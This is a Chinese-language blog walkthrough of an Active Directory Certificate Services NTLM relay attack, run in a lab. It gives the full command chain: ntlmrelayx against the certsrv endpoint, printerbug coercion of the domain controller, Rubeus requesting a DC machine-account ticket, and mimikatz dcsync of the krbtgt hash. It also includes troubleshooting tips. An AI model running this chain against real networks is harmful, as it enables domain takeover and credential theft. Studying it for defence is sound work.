• AD CS relay attack


    一、漏洞简单介绍:

    adcs支持几种基于HTTP的通过管理员可以安装的其他AD CS服务器角色功能。这些基于http的证书注册接口都是易受攻击的NTLM中继攻击,因为没有启用NTLM中继保护,而且Authorization HTTP 标头明确只允许通过 NTLM 身份验证,因此更安全的协议(如 Kerberos)无法使用。

    二、环境部署及介绍

    (不一定需要辅dc,任意域内机器安装adcs即可)

    角色 IP 系统信息
    攻击机 192.168.237.131 Kali
    DC主机 192.168.237.22 win2012R2
    辅DC 192.168.237.24 win2012R2

     

     

     

    PS:不能relay自身否则脚本会报错

    在dc辅控上装上adcs(这里我主dc也装了),勾选1,4默认安装即可

    同时看一下dc和dc辅控是否在domain computers组里面,不在就自己加入即可,否则会利用失败

      

    三、漏洞利用

    域内定位ca机器:certutil -config - -ping

    安装impacket旧版本没有adcs命令:https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack

    攻击机器开启监听:python3 ntlmrelayx.py  -t http://192.168.237.22/certsrv/certfnsh.asp -smb2support --adcs

    利用任意的触发机器账号认证,使辅域进行强连回来,这里使用的是打印机服务:python printerbug.py domain/user:password@192.168.237.22 192.168.237.131

    ntlmrelayx成功进行relay,并获取到证书信息

    利用上面获取到的证书,获取tgt并注入:

    Rubeus.exe asktgt /user:DC$ /certificate:MIIRFQIBAzCCEN8G /ppt

    出现了如何下报错:KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP

    这里解决打开组策略,计算机配置Windows 设置安全设置本地策略安全选项,找到配置 Kerberos 允许的加密类型,将下面全部勾选即可

     

    再次重新测试发现成功获取到了TGT

     然后利用mimikatz,进行导出hash:KERBEROS::List lsadump::dcsync /user:krbtgt

     

    补充:获取TGT的时候遇到的是KRB-ERROR (62) : KDC_ERR_CLIENT_NOT_TRUSTED这种报错,有可能是时间不同步的原因,可重启环境重新测试。

    参考链接:

    https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

    https://mp.weixin.qq.com/s/wW94EiPiOmJsWeFR64Dg1A

  • 相关阅读:
    Grails
    Grails
    Grails
    Grails
    Grails
    Grails
    PG
    TopShelf安装多实例
    Js 实现自定义事件
    HttpContext未null处理
  • 原文地址:https://www.cnblogs.com/websecyw/p/15070423.html
Copyright © 2020-2023  润新知